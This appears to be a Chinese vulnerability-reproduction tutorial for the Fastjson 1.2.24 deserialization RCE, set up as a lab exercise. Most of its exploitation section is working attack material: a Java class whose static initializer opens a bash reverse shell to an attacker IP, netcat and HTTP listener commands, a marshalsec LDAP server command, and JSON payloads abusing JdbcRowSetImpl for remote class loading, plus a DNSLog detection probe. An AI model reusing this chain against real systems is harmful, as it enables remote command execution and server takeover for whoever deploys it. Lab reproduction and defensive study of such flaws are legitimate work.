当前位置: 首页 > news >正文

Fastjson 反序列化漏洞[1.2.24-rce]

漏洞复现环境搭建请参考

http://t.csdnimg.cn/vSaaw

kali切换jdk版本请参考

Kali安装JAVA8和切换JDK版本的详细过程_kali安装jdk8-CSDN博客

漏洞原理

Fastjson提供的com.sun.rowset.JdbcRowSetImpl类下的dataSourceName方法支持传入一个RMI/LDAP源,支持远程调用。攻击者只需要创建一个恶意指令类(写入反弹shell等恶意命令),设置RMI/LDAP服务的远程加载指向该恶意类,即可做到远程任意命令执行

漏洞版本

fastjson<=1.2.24

漏洞验证

(1)Web访问,JSON页面

(2)BP抓包,利用DNS回显验证,DNSLog Platform

(3)修改提交方式为POST,加入以下内容,放包,DNS回显则证明漏洞存在

#val的值为DNS申请的域名Content-Type:application/json{"a":{"@type":"java.net.Inet4Address","val":"q6teka.dnslog.cn"}
}

漏洞利用

(1)创建远程加载类,攻击机创建.java文件,内容如下,并进行java编译生成class文件

#执行反弹shell,注意文件名需要和class类名称创建的一样
import java.lang.Runtime;
import java.lang.Process;public class getshell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.88.128/8888 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}

(2)开启攻击机HTTP服务和反弹shell端口的监听

python3 -m http.server 80
nc -lvvp 8888

(3)开启LDAP服务

#工具获取
git clone https://github.com/RandomRobbieBF/marshalsec-jar#开启LADP服务,端口6666,指定远程加载类为攻击机上的getshell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.88.128:80/#getshell 6666      

(4)回到站点,BP抓包,发送恶意数据,内容如下

Content-Type:application/json
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.88.128:6666/getshell","autoCommit":true}
}

(5)放包,getshell

相关文章:

  • 06.持久化存储
  • Spring解决循环依赖
  • Ansys Mechanical|组装 External Mechanical Model
  • c++中 unordered_map 与 unordered_set 用法指南
  • 深入分析 Android BroadcastReceiver (一)
  • pqgrid的使用
  • 如何快速找到 RCE
  • 情感读本期刊万方收录综合期刊投稿
  • flinksql 回撤流中主键发生变更的影响(group by中的值发生改变)
  • Go-知识并发控制Context
  • NextJs 渲染篇 - 什么是CSR、SSR、SSG、ISR 和服务端/客户端组件
  • 设计模式(四)原型模式
  • 线性代数|机器学习-P2 A的列向量空间
  • 如何解决Mac系统创建/home目录提示Read-Only filesystem(补充)?
  • Flutter 中的 SliverMainAxisGroup 小部件:全面指南
  • CSS魔法堂:Absolute Positioning就这个样
  • IOS评论框不贴底(ios12新bug)
  • Java 网络编程(2):UDP 的使用
  • 阿里云应用高可用服务公测发布
  • 大快搜索数据爬虫技术实例安装教学篇
  • 高程读书笔记 第六章 面向对象程序设计
  • 解决jsp引用其他项目时出现的 cannot be resolved to a type错误
  • 如何使用Mybatis第三方插件--PageHelper实现分页操作
  • 使用Gradle第一次构建Java程序
  • 算法-插入排序
  • 一、python与pycharm的安装
  • 在Unity中实现一个简单的消息管理器
  • ![CDATA[ ]] 是什么东东
  • #LLM入门|Prompt#3.3_存储_Memory
  • ( 10 )MySQL中的外键
  • (¥1011)-(一千零一拾一元整)输出
  • (AngularJS)Angular 控制器之间通信初探
  • (PySpark)RDD实验实战——取一个数组的中间值
  • (超简单)使用vuepress搭建自己的博客并部署到github pages上
  • (二十九)STL map容器(映射)与STL pair容器(值对)
  • (附源码)springboot“微印象”在线打印预约系统 毕业设计 061642
  • (附源码)ssm失物招领系统 毕业设计 182317
  • (考研湖科大教书匠计算机网络)第一章概述-第五节1:计算机网络体系结构之分层思想和举例
  • (一)python发送HTTP 请求的两种方式(get和post )
  • (一)认识微服务
  • (已解决)vscode如何选择python解释器
  • (转)shell中括号的特殊用法 linux if多条件判断
  • (转)Windows2003安全设置/维护
  • (转)平衡树
  • (自用)网络编程
  • .cn根服务器被攻击之后
  • .JPG图片,各种压缩率下的文件尺寸
  • .NET Core 控制台程序读 appsettings.json 、注依赖、配日志、设 IOptions
  • .NET Core工程编译事件$(TargetDir)变量为空引发的思考
  • .Net Web窗口页属性
  • .net 获取某一天 在当月是 第几周 函数
  • .NET 使用配置文件
  • .NET6 开发一个检查某些状态持续多长时间的类
  • .net经典笔试题
  • .net快速开发框架源码分享